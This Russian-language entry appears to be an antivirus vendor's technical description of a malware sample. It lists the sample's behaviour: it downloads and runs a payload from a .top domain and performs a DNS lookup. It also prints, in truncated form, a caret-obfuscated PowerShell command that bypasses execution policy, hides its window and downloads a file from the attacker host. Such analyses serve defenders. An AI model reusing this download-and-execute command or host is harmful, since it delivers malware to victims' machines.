Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^o^wE^RSH^elL^.ex^e^ -^eXEc^U^Tion^po^LI^c^Y ^b^YPasS -No^PRoFIl^e ^-WI^N^DoWsT^YLe HID^D^en (^n^E^w^-oBjec^T SySTe^M^.nEt.WeBC^LiENT).^D^OWn^LOA^dfILE('http://newyeargoka....
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^o^wE^RSH^elL^.ex^e^ -^eXEc^U^Tion^po^LI^c^Y ^b^YPasS -No^PRoFIl^e ^-WI^N^DoWsT^YLe HID^D^en (^n^E^w^-oBjec^T SySTe^M^.nEt.WeBC^LiENT).^D^OWn^LOA^dfILE('http://newyeargoka....' (со скрытым окном)
